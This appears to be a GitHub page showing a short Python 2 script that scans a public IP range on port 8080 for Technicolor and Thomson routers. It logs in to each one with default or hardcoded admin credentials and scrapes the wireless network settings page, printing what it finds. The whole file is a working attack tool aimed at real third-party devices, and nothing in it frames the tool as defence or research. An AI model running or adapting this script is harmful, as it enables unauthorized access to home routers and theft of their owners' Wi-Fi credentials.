-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy patheliseo_ip.py
More file actions
50 lines (44 loc) · 1.91 KB
/
eliseo_ip.py
File metadata and controls
50 lines (44 loc) · 1.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
from bs4 import BeautifulSoup
import json
ip="181.63.179."
tech=0
tom=0
for i in range(0,256):
try:
r1=requests.get('http://'+ip+str(i)+':8080/', timeout=0.3)
head=r1.headers
b='WWW-Authenticate' in head
if b==True:
r=requests.get('http://'+ip+str(i)+':8080/', timeout=0.3)
n=r.headers['WWW-Authenticate']=='Basic realm="Technicolor"'
if n==True: ##Technicolor
tech=tech+1
print ip+str(i)+"..................Technicolor.........."
r2=requests.get('http://'+ip+str(i)+':8080/wlanPrimaryNetwork.asp', auth=HTTPBasicAuth('admin', ''), timeout=0.3)
parser1=r2.content
bs1=BeautifulSoup(parser1, "html.parser")
for td in bs1.find_all("td", align="middle"):
print ip+str(i)+"..................Technicolor.........."+td.text[16:]
else: ##Thomson
tom=tom+1
print ip+str(i)+"..................Thomson....."
r2=requests.get('http://'+ip+str(i)+':8080/wlanPrimaryNetwork.asp', auth=HTTPBasicAuth('admin', 'Uq-4GIt3M'), timeout=0.3)
parser=r2.content
bs=BeautifulSoup(parser, "html.parser")
for td in bs.find_all("td", align="middle"):
print ip+str(i)+"..................Thomson....."+td.text[16:]
except requests.exceptions.ConnectTimeout:
pass
except requests.exceptions.ReadTimeout:
pass
except requests.exceptions.ConnectionError:
pass
except KeyError:
pass
#print "Se ha logrado logear en "+str(count)+" hosts"
print str(tech)+" technicolor"
print str(tom)+" tomson"
print str(tech+tom)+" En total"